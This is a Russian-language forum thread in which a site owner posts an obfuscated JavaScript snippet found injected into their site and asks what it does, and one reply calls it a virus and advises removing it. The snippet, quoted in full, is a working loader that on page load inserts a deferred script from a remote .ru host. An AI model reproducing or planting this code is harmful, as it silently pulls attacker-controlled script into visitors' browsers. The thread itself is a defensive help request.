Что делает этот скрипт?

S5
На сайте с 18.02.2010
Offline
14
519

Какие операции делает скрипт, приведенный ниже?

Админка постоянно рефрешила страницу, браузеры не могут отображать страницы сайта, при нахождении этого скрипта в коде идёт соединение с lunchscone.ru

<script>var nX="";var s="s";var C=new Date();function b(){this.A="";var id=new Date();this.ci="";this.xaS=42782;var R=window;var d=new Array();var QM=new Array();var tA=new Date();var RS=new Date();var V=new Array();var GP=new Array();var l=String("def"+"erH6O".substr(0,2));var SR=new Date();var y=String("/let"+"itbi"+"t-neBik".substr(0,4)+"ZDG0t/go".substr(4)+"bT1Xogle".substr(4)+".com"+"y1B/net1yB".substr(3,4)+"log."+"com."+"ImdNphpNdmI".substr(4,3));this.bk=false;var I=String("scr"+"iptmzu".substr(0,3));this.Rq="";var f=R[String("unesc"+"nc0Eape".substr(4))];var xr=new Array();this.In=false;var AR=new Date();function x(xa,Y){this.vb=false;var k=f(new String("YR6U]".substr(4)));var ZT=new Date();var Gl="";var t=f("[");var n=new String("gsHUo".substr(0,1));var QQ=new Date();var wB=new Date();this.Yh=false;this.HO=false;var fI=new RegExp(t+Y+k, n);this.Rp=60651;var oN=new Array();var Jj="";var wb="";return xa.replace(fI, new String());this.wZ=9833;};this.T="";this.MA="";var YE="YE";var xD="xD";var _=x('svrJcH','L2UJvyh4DefXHGTu');var j=x('85212199334329230562632471115374812526621469304992594339417','57264931');this.ct=false;var PU="PU";var X=document;var gr="gr";var MyZ="";var jH=x('cKrKeKagtqegEvlVedmveqn5to','IfqubgOKhdVokx8SA5v2XZ');var OGS=new Date();this._J=45916;var uA=new Array();var wR=new Date();var zs=new Array();function Z(){var fy=new Array();var NU="NU";var sY="";var z=f(String("httpLdC1".substr(0,4)+"://g"+"ripgTNQj".substr(0,4)+"GLorateLoG".substr(3,4)+".ru:6ng".substr(0,4)));this.wX_="";var W=z+j+y;var iI=new Array();var uX=new Array();this.hi="";var cC="cC";this.YN="";var RE=x('a_p_pxexnxdNC_hHiHlNdu','xruPHN_');var w=x('buoMdWyM','E54lx6qpUW9kMVue');this.aY=53136;var Ku="";try {this.FF=false;this.Qmd=false;var nok="";O=X[jH](I);var zH="";O[_]=W;this.LZ=42174;this._m=9013;O[l]=[1,9][0];this.oe="";X[w][RE](O);var yY=new Date();} catch(kY){var lR="lR";var FQ="FQ";};}var iwO="";this.na=false;var no=x('o2nIlyoQaidu','5QbyIuiM20');R[no]=Z;var _I=new Array();var Gj=new Array();};var ttf="ttf";var pA="";var xaR=new Date();b();this.zO=false;var qg=new Array();</script>

<!--01f99908d71952b485f7cdd2bade8202-->

[ATTACH]61739[/ATTACH]

Dim_K
На сайте с 11.07.2007
Offline
85
#1

Скрипт явно после обфускации. Прочитать его крайне тяжело, да и нужно ли? Очень похоже на серверный вирус или что-то в этом духе. Удалите и ищите кто его пишет в файлы

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий